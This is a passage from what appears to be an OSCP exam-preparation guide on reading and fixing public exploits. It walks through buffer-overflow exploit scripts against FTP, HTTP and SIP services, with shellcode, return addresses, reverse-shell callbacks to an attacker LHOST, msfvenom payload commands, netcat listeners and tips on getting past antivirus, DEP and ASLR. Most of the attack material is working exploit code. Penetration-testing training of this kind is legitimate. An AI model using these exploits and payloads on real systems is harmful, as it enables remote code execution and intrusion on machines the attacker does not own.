  • What type of vulnerability? (Buffer overflow / RCE / auth bypass / etc.)

Phase 2: Configuration Analysis

  • Where is the target IP/port configured?

    • Hardcoded? → Change it
    • Command-line args? → Pass it correctly
    • Environment variables? → Set them
  • What is the offset?

    • Look for OFFSET =, offset =, buffer_size, junk
    • This is the number of bytes before EIP overwrite
  • What is the return address?

    • Look for RET_ADDR, ret, return_addr, jmp_esp
    • Format: 0xXXXXXXXX or packed bytes
    • Is this address valid for your target? (Different OS/build = different addresses)
  • What are the bad characters?

    • Look for BAD_CHARS, badchars, -b in msfvenom
    • Common: \x00 (null), \x0a (LF), \x0d (CR), \x20 (space)

Phase 3: Payload Analysis

  • How is the payload generated?

    • Inline shellcode? → Check architecture (windows/linux, x86/x64)
    • msfvenom subprocess? → Check payload type, LHOST, LPORT
    • External file? → Check file path
  • What is the payload type?

    • windows/shell_reverse_tcp → Reverse shell (most common)
    • windows/shell_bind_tcp → Bind shell
    • linux/x86/shell_reverse_tcp → Linux reverse shell
    • windows/meterpreter/reverse_tcp → Meterpreter (needs handler)
  • Are LHOST/LPORT correct?

    • LHOST should be your attacker IP (tun0 interface)
    • LPORT should match your listener

Phase 4: Buffer Construction

  • What is the buffer structure?

    [JUNK][OFFSET_FILL][EIP_OVERWRITE][NOP_SLED][SHELLCODE][POST_PADDING]
  • Is the endianness correct?

    • x86 Windows: Little-endian (<I in Python, V in Ruby)
    • Network protocols: Sometimes big-endian
  • Is there a NOP sled?

    • Look for \x90 repetition
    • Size: typically 16-32 bytes

Phase 5: Network Delivery

  • What is the connection method?

    • TCP socket? → Check port, timeout
    • UDP socket? → Check packet structure
    • HTTP library? → Check URL, headers
  • Is there a protocol handshake?

    • Login required? → Check credentials
    • Banner grab? → Check if needed
    • Authentication tokens? → Check if dynamic
  • How is the payload sent?

    • As a command argument?
    • As a header value?
    • As a file upload?
    • As a URL parameter?
  • What terminates the payload?

    • \r\n (CRLF) for text protocols
    • \x00 (null) for C strings
    • Nothing (raw binary)

Phase 6: Pre-Execution Checks

  • Do I need to set up a listener?

    • nc -lvnp <LPORT>
    • msfconsole → use exploit/multi/handler
  • Is the target service running?

    • nmap -p <PORT> <TARGET>
  • Are there any prerequisites?

    • Authentication credentials
    • Specific file on disk
    • User privileges

Phase 7: Post-Execution

  • What should happen on success?

    • Reverse shell connection
    • Service crash (check logs)
    • File creation/modification
  • What should happen on failure?

    • Connection timeout
    • Service crash without shell
    • Error message

9. Real ExploitDB Walkthroughs

9.1 Walkthrough 1: FTP Server Buffer Overflow

Let’s walk through a realistic FTP exploit (based on common ExploitDB patterns):

#!/usr/bin/python
# Exploit Title: FileCope FTP Server 1.0 - Remote Buffer Overflow
# Date: 2019-05-15
# Exploit Author: security-researcher
# Version: 1.0
# Test on: Windows 7 SP1

import socket
import struct
import sys

if len(sys.argv) != 2:
    print "Usage: %s <RHOST>" % sys.argv[0]
    sys.exit(0)

ip = sys.argv[1]
port = 21

# --- Shellcode: Windows Reverse Shell ---
# Generated with: msfvenom -p windows/shell_reverse_tcp 
#   LHOST=10.10.14.5 LPORT=443 -f python -b '\x00\x0a\x0d'
egg = "\x90" * 8
egg += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
egg += "\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c"
egg += "\x8b\x52\x14\x8b\x72\x28\x31\xff\x31"
egg += "\xc0\xac\xc3\x89\xc7\x3b\xf8\x75\xf5"
egg += "\x03\x7d\xf4\x3b\x7d\x24\x75\xed\x8b"
egg += "\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40"
# ... (truncated - real shellcode is ~200+ bytes)

# --- Build the exploit buffer ---
# Offset found with pattern_create.rb / pattern_offset.rb
# RET address found with mona.findjmp jmp esp
buffer = "A" * 2003                    # Fill to EIP
buffer += struct.pack("<L", 0x100DEAFF) # JMP ESP from server.dll
buffer += "\x90" * 16                   # NOP sled
buffer += egg                           # Shellcode

# --- Connect and exploit ---
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    banner = s.recv(1024)
    print "[+] Received banner:"
    print banner

    # Send the overflow in the USER command
    print "[+] Sending payload..."
    s.send(("USER " + buffer + "\r\n").encode())
    s.send(("PASS A\r\n").encode())
    
    print "[+] Payload sent! Check your listener on port 443"
    
    s.close()
except Exception as e:
    print "[-] Error:", e

Line-by-Line Analysis

Lines What It Does Why It Matters
1-7 Shebang, title, metadata Identifies target, version, author
9-11 Imports socket for network, struct for address packing, sys for args
13-16 Argument check Ensures target IP is provided
18-19 Target config IP from args, port hardcoded to 21
22-32 Shellcode Reverse shell payload, bad chars excluded
35-40 Buffer construction The core exploit logic
43-56 Network delivery Connect, send, handle errors

Key Observations

  1. Python 2 syntax: print "..." without parentheses → needs conversion for Python 3
  2. Offset 2003: Found via pattern_create.rb 3000 → crash → pattern_offset.rb <EIP_value>
  3. Return address 0x100DEAFF: Found via !mona findjmp -s "jmp esp" -m server.dll
  4. Bad characters \x00\x0a\x0d: Null (breaks C strings), LF and CR (FTP protocol delimiters)
  5. Vulnerable command: USER — the payload is sent as the FTP username

What to Change for Your Target

# 1. Change LHOST in shellcode generation
#    Regenerate with your tun0 IP

# 2. Change LPORT if 443 is blocked
#    msfvenom ... LPORT=80 ...

# 3. Verify offset is correct for your target version
#    May need to re-fuzz if version differs

# 4. Verify return address is valid
#    Different build = different DLL addresses
#    Use mona.py on the actual target

9.2 Walkthrough 2: HTTP Header Overflow

#!/usr/bin/python3
# Exploit Title: CustomWebApp 2.1 - HTTP Header Buffer Overflow
# Date: 2023-08-20
# Platform: Windows

import socket
import sys
import struct

def exploit(target, port=80):
    # Payload configuration
    offset = 540
    ret_addr = 0x77E68A58  # JMP ESP in msvcrt.dll (Win7)
    bad_chars = b"\x00"
    
    # Reverse shell shellcode (no null bytes)
    shellcode = (
        b"\x31\xc0\x50\x68\x63\x6d\x64\x00"   # Push "cmd\0"
        b"\x68\x63\x77\x00\x00"                 # Push padding
        b"\x54\x53\x54\x52"                     # Push args
        b"\x64\x8b\x80\x30\x00\x00\x00"         # FS:[eax+30]
        # ... (custom shellcode, truncated)
    )
    
    # Build HTTP request with overflow in Host header
    request = b"GET / HTTP/1.1\r\n"
    request += b"Host: " + b"A" * offset
    request += struct.pack("<I", ret_addr)
    request += b"\x90" * 32
    request += shellcode
    request += b"\r\n"
    request += b"User-Agent: Mozilla/5.0\r\n"
    request += b"\r\n"
    
    # Send request
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    
    try:
        s.connect((target, port))
        s.send(request)
        print(f"[+] Exploit sent to {target}:{port}")
        print(f"[+] Buffer size: {len(request)} bytes")
        
        # Try to receive response
        try:
            response = s.recv(4096)
            print(f"[+] Response: {response[:200]}")
        except socket.timeout:
            print("[+] No response (target may have crashed)")
            
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    exploit(target, port)

Key Differences from FTP Exploit

Aspect FTP Exploit HTTP Exploit
Authentication USER/PASS handshake None (or in headers)
Payload location Command argument HTTP header value
Protocol Text-based, line-by-line Single request block
Response handling Multiple recv() calls Single recv() or timeout
Bad characters \x00\x0a\x0d \x00\x0a\x0d\x20 (space too!)

9.3 Walkthrough 3: Ruby SIP Exploit

#!/usr/bin/ruby
#
# Exploit Title: OpenSIPS 1.10 - SIP Buffer Overflow
# Date: 2020-03-15
# Platform: Linux
#

require 'socket'

host = "10.10.10.10"
port = 5060

# Linux x86 reverse shell
shellcode = ""
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68"  # "//sh"
shellcode += "\x68\x2f\x62\x69\x6e\x89\xe3"        # "/bin"
shellcode += "\x50\x53\x89\xe1\x99\xb0\x0b"        # execve
shellcode += "\xcd\x80"                              # int 0x80

# Build overflow buffer
# SIP From header overflow
overflow = "A" * 1024
overflow += [0x08049460].pack('V')  # Return address
overflow += "\x90" * 32             # NOP sled
overflow += shellcode

# Build SIP INVITE
invite = "INVITE sip:admin@#{host} SIP/2.0\r\n"
invite += "Via: SIP/2.0/UDP #{`hostname`}:5060;branch=z9hG4bK\r\n"
invite += "Max-Forwards: 70\r\n"
invite += "From: \"#{overflow}\" <sip:attacker@test.com>\r\n"
invite += "To: <sip:admin@#{host}>\r\n"
invite += "Call-ID: exploit-12345\r\n"
invite += "CSeq: 1 INVITE\r\n"
invite += "Contact: <sip:attacker@test.com>\r\n"
invite += "Content-Length: 0\r\n"
invite += "\r\n"

# Send via UDP
sock = UDPSocket.new
sock.send(invite, 0, host, port)
puts "[+] SIP exploit sent to #{host}:#{port}"
puts "[+] Shellcode size: #{shellcode.length} bytes"
puts "[+] Total packet size: #{invite.length} bytes"
sock.close

SIP-Specific Notes

  1. UDP protocol: No connection state, fire-and-forget
  2. From header overflow: The From: field contains the payload
  3. Linux shellcode: Different from Windows (execve vs WinAPI)
  4. No authentication: SIP often doesn’t require auth for INVITE
  5. Return address 0x08049460: Linux ELF address (lower range than Windows)

10. Common Pitfalls and Anti-Patterns

10.1 Misleading Comments

# DANGER: Comments lie!
# This exploit says offset = 2003 but the code uses 2000
OFFSET = 2003
buffer = "A" * 2000  # ← MISMATCH!

# DANGER: Outdated return addresses
# RET_ADDR found on Windows 7 SP1 EN
RET_ADDR = 0x77E68A58  # ← Won't work on Win7 SP1 FR/DE/other languages

Rule: Always trust the code, not the comments. Verify every value.

10.2 Wrong Architecture Assumptions

# This exploit targets x86 (32-bit)
ret_addr = struct.pack("<I", 0x6a51926a)  # 4 bytes

# If target is x64, this WILL NOT WORK
# x64 needs:
# - Different payload (linux/x64/ or windows/x64/)
# - 8-byte addresses (struct.pack("<Q", addr))
# - Different exploitation technique (often stack cookie protection)

10.3 Encoding Issues

# PROBLEM: Shellcode with high bytes gets mangled
shellcode = "\xfc\xe8\x82\x00..."  # Python 2 str
# In Python 3, this becomes Unicode and bytes() breaks it

# PROBLEM: UTF-8 encoding drops bytes
payload.encode('utf-8')  # May fail on bytes > 0x7F

# SOLUTION: Always use latin-1 for shellcode
payload.encode('latin-1')  # Preserves all byte values

10.4 Missing Protocol Details

# PROBLEM: Missing CRLF terminators
s.send(b"USER admin")        # Missing \r\n!
s.send(b"USER admin\r\n")    # Correct

# PROBLEM: Missing null terminator in TFTP
tftp_pkt = b"\x00\x01" + filename + b"netascii"  # Missing nulls!
tftp_pkt = b"\x00\x01" + filename + b"\x00netascii\x00"  # Correct

10.5 Hardcoded Values That Shouldn’t Be

# BAD: Hardcoded attacker IP in shellcode
# This won't work if your IP changes
shellcode = b"\xfc\xe8...\x0a\x0a\x0e\x05..."  # Contains 10.10.14.5

# GOOD: Regenerate shellcode with current IP
# Or use a bind shell instead of reverse shell

10.6 The “Works on My Machine” Problem

Issue Cause Fix
Different DLL addresses OS language/version differs Use mona.py on actual target
Different service version Patch level differs Re-fuzz for new offset
Firewall blocks port Network configuration Try different LPORT
AV kills process Endpoint protection Use encoding/encryption
DEP enabled Data Execution Prevention Use ROP chain
ASLR enabled Address Space Layout Randomization Find non-ASLR module

11. Identifying the Vulnerable Command

One of the most important skills: finding which line of the exploit actually triggers the vulnerability.

11.1 The Search Pattern

Look for these indicators in the code:

# Indicator 1: The largest send() call
s.send(b"USER " + payload + b"\r\n")  # ← Likely the trigger

# Indicator 2: The send() that includes the crafted buffer
s.send(exploit_buffer)                # ← Likely the trigger

# Indicator 3: Comments about the vulnerability
# "Overflow in the SITE command"
s.send(b"SITE " + overflow + b"\r\n") # ← Likely the trigger

# Indicator 4: The last meaningful send() before cleanup
s.send(b"VULN_CMD " + buffer)        # ← Likely the trigger

11.2 Decision Tree

graph TD
    A[Multiple send calls?] --> B{Which contains the payload?}
    B -->|One send| C[That's the vulnerable command]
    B -->|Multiple sends| D{Which is the LAST before crash?}
    D -->|Clear last| E[That's likely the trigger]
    D -->|Unclear| F[Check comments/CVE description]
    F --> G[Look for the command name in CVE title]
    G --> H[Change that command's payload]
    
    style C fill:#c8e6c9
    style E fill:#c8e6c9
    style H fill:#fff9c4

11.3 Common Vulnerable Commands by Protocol

Protocol Commonly Vulnerable Commands
FTP USER, PASS, ACCT, REIN, SITE, FEAT, SYST
HTTP Host header, User-Agent, Cookie, Referer, custom headers
SIP From, To, Subject, User-Agent, Contact
Telnet Username field, password field, post-auth commands
TFTP Filename in Read/Write Request
SMTP MAIL FROM, RCPT TO, VRFY, EXPN
SNMP Community string
Custom Usually the first or longest input field

11.4 How to Verify

# Test 1: Send only the junk, no shellcode
s.send(b"USER " + b"A" * 3000 + b"\r\n")
# If target crashes → overflow confirmed in USER command

# Test 2: Send pattern_create output
s.send(b"USER " + pattern + b"\r\n")
# Check crash EIP → run pattern_offset → get exact offset

# Test 3: Send controlled EIP
s.send(b"USER " + b"A" * offset + b"BBBB" + b"\r\n")
# If EIP = 0x42424242 → offset is correct

12. Practice Exercises

Exercise 1: Identify the Components

Given this exploit snippet, identify each component:

import socket, struct

host = "10.10.10.50"
port = 8080

buf = "\x90" * 16
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
buf += "\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c"

exploit = "A" * 1506
exploit += struct.pack("<L", 0x00412384)
exploit += "\x90" * 8
exploit += buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send("GET /page?search=" + exploit + " HTTP/1.1\r\n")
s.send("Host: target\r\n\r\n")
Click to reveal answers
Component Value Location
Target IP 10.10.10.50 Line 4
Target Port 8080 Line 5
Protocol HTTP GET /page?search=
Vulnerable Parameter URL query parameter search Line 18
Offset 1506 Line 14
Return Address 0x00412384 Line 15
NOP Sled (in buffer) 16 bytes (\x90 * 16) Line 8
NOP Sled (after EIP) 8 bytes (\x90 * 8) Line 16
Shellcode Lines 9-12 (truncated) After second NOP sled
Endianness Little-endian (<L) Line 15

Exercise 2: Fix the Python 3 Errors

This exploit has Python 2 syntax. Convert it to Python 3:

# BROKEN (Python 2)
import socket, struct

print "Connecting..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 21))
banner = s.recv(1024)
print banner

payload = "\x90" * 16 + "\xfc\xe8\x82\x00"
buffer = "A" * 2003 + struct.pack("<L", 0x6a51926a) + payload

s.send("USER " + buffer + "\r\n")
print "Sent!"
Click to reveal the fixed version
# FIXED (Python 3)
import socket
import struct

print("[+] Connecting...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 21))
banner = s.recv(1024)
print(f"[+] Banner: {banner.decode('utf-8', errors='ignore').strip()}")

# Use bytes (b'') for all binary data
payload = b"\x90" * 16 + b"\xfc\xe8\x82\x00"
buffer = b"A" * 2003 + struct.pack("<I", 0x6a51926a) + payload

s.send(b"USER " + buffer + b"\r\n")
print("[+] Sent!")

Changes made:

  1. print "..." → print("...")
  2. "\x90" → b"\x90" (bytes prefix)
  3. struct.pack("<L", ...) → struct.pack("<I", ...) (more explicit)
  4. s.recv() result needs .decode() for printing
  5. All string concatenation uses b'' bytes literals

Exercise 3: Find the Vulnerable Command

In this exploit, which command triggers the vulnerability?

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))
s.recv(1024)

s.send(b"USER anonymous\r\n")
s.recv(1024)

s.send(b"PASS anonymous@\r\n")
s.recv(1024)

s.send(b"SITE EXEC cmd.exe /c calc\r\n")
s.recv(1024)

s.send(b"USER " + exploit_buffer + b"\r\n")
s.send(b"PASS A\r\n")
Click to reveal answer

Answer: The USER command on the second use (the one with exploit_buffer).

Reasoning:

  1. The first USER anonymous is normal authentication
  2. The PASS anonymous@ completes authentication
  3. The SITE EXEC is a separate test command (no exploit buffer)
  4. The second USER with exploit_buffer is the actual overflow trigger
  5. The final PASS A may be needed to process the USER command

Key insight: The exploit re-authenticates after the SITE command. The overflow is in the second USER command, not the first. This is a common pattern where the vulnerable command is reused after initial authentication.

Exercise 4: Calculate Buffer Size

Given these parameters, what is the total size of the exploit buffer?

OFFSET = 2003
RET_ADDR = struct.pack("<I", 0x6a51926a)  # 4 bytes
NOP_SLED = b"\x90" * 24
SHELLCODE = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5" * 25  # ~200 bytes

exploit = b"A" * OFFSET + RET_ADDR + NOP_SLED + SHELLCODE
Click to reveal answer
OFFSET fill:     2003 bytes (b"A" * 2003)
RET_ADDR:          4 bytes (struct.pack("<I", ...))
NOP_SLED:         24 bytes (b"\x90" * 24)
SHELLCODE:       200 bytes (8 bytes * 25)
─────────────────────────────────
TOTAL:          2231 bytes

Verification in Python:

len(b"A" * 2003) + len(struct.pack("<I", 0x6a51926a)) + len(b"\x90" * 24) + len(b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5" * 25)
# = 2003 + 4 + 24 + 200 = 2231

13. Quick Reference Card

13.1 Language Quick Comparison

Feature Python Ruby C
TCP Socket socket.socket(AF_INET, SOCK_STREAM) TCPSocket.new(h, p) socket(AF_INET, SOCK_STREAM, 0)
UDP Socket socket.socket(AF_INET, SOCK_DGRAM) UDPSocket.new socket(AF_INET, SOCK_DGRAM, 0)
Pack Address struct.pack("<I", addr) [addr].pack('V') *(DWORD*)(buf+offset) = addr
String Repeat b"A" * 2000 "A" * 2000 memset(buf, 'A', 2000)
Shellcode b"\x90\x90..." "\x90\x90..." unsigned char sc[] = "\x90\x90..."
Send Data sock.send(data) sock.send(data, 0) send(sock, data, len, 0)
Receive Data sock.recv(1024) sock.recv(1024) recv(sock, buf, len, 0)

13.2 Common Return Address Sources

Source Description Example
msvcrt.dll Windows C runtime 0x77E68A58 (JMP ESP)
kernel32.dll Windows kernel 0x7C801D01 (JMP ESP)
Target DLL Application’s own DLL 0x100DEAFF
ntdll.dll Windows NT layer 0x7C90120E
Module base Loaded module Found via !mona modules

13.3 Bad Characters Reference

Hex Name Why It’s Bad
\x00 Null Terminates C strings
\x0a LF (Line Feed) Breaks text protocols
\x0d CR (Carriage Return) Breaks text protocols
\x20 Space Breaks URL/header values
\x0d\x0a CRLF HTTP/SIP protocol delimiter
\x22 Double Quote Breaks quoted strings
\x27 Single Quote Breaks SQL/strings
\x3c\x3e < > HTML/XSS contexts

13.4 msfvenom Quick Reference

# Windows reverse shell (most common)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b '\x00\x0a\x0d'

# Windows reverse shell (Ruby format)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f ruby -b '\x00\x0a\x0d'

# Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b '\x00'

# With encoder (if shellcode too large)
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -f python -b '\x00\x0a\x0d'

# Bind shell (target connects back to you)
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f python -b '\x00\x0a\x0d'

# Meterpreter (needs msf handler)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f python -b '\x00\x0a\x0d'

13.5 Debugging Checklist When Exploit Fails

┌─────────────────────────────────────────────────────────┐
│            EXPLOIT DEBUGGING FLOWCHART                    │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  Exploit fails?                                         │
│       │                                                 │
│       ├── Target doesn't crash?                         │
│       │    ├── Offset wrong? → Re-fuzz with pattern_create│
│       │    └── Wrong command? → Check vulnerable cmd   │
│       │                                                 │
│       ├── Target crashes, no shell?                     │
│       │    ├── Bad EIP? → Check return address          │
│       │    ├── Bad chars in shellcode? → Regenerate      │
│       │    └── ESP doesn't point to shellcode?           │
│       │         └── Adjust NOP sled position/size       │
│       │                                                 │
│       ├── Shell crashes immediately?                    │
│       │    ├── Wrong arch? → Check x86 vs x64           │
│       │    ├── Wrong OS? → Check Windows vs Linux       │
│       │    └── LHOST wrong? → Verify tun0 IP            │
│       │                                                 │
│       ├── Connection refused?                           │
│       │    ├── Wrong port? → Verify with nmap           │
│       │    └── Service down? → Restart target service   │
│       │                                                 │
│       └── Python error?                                 │
│            ├── Py2 vs Py3? → Check syntax               │
│            ├── Bytes vs str? → Add b'' prefix           │
│            └── Missing import? → Check imports          │
│                                                         │
└─────────────────────────────────────────────────────────┘

13.6 Essential Tools Reference

Tool Purpose Command Example
pattern_create.rb Generate unique pattern pattern_create.rb -l 3000
pattern_offset.rb Find offset from crash pattern_offset.rb -q 39694438
mona.py Immunity Debugger plugin !mona config -set workingfolder C:\mona\%p
mona findjmp Find JMP ESP !mona findjmp -s "jmp esp" -m target.dll
mona modules List loaded modules !mona modules
msfvenom Generate payload msfvenom -p windows/shell_reverse_tcp ...
nc Netcat listener nc -lvnp 443
xterm Separate terminal xterm &

Summary

Reading and understanding exploit code is a fundamental OSCP skill. The key takeaways:

  1. Every exploit follows the same 5-layer structure: Imports → Config → Payload → Buffer → Delivery
  2. Python is the most common language — master its patterns first
  3. Python 2→3 conversion is the #1 fix you’ll need
  4. The vulnerable command is usually the send() that includes your crafted buffer
  5. Always verify: offset, return address, bad characters, and payload architecture
  6. Use the checklist systematically — don’t skip steps
  7. Practice by reading real ExploitDB exploits — the more you read, the faster you’ll recognize patterns

The ability to read, understand, and modify exploit code separates those who pass the OSCP from those who don’t. Invest time in this skill, and it will pay dividends throughout the exam and your career.


Last updated: 2026-09-01 For OSCP preparation — Module 10: Fixing Exploits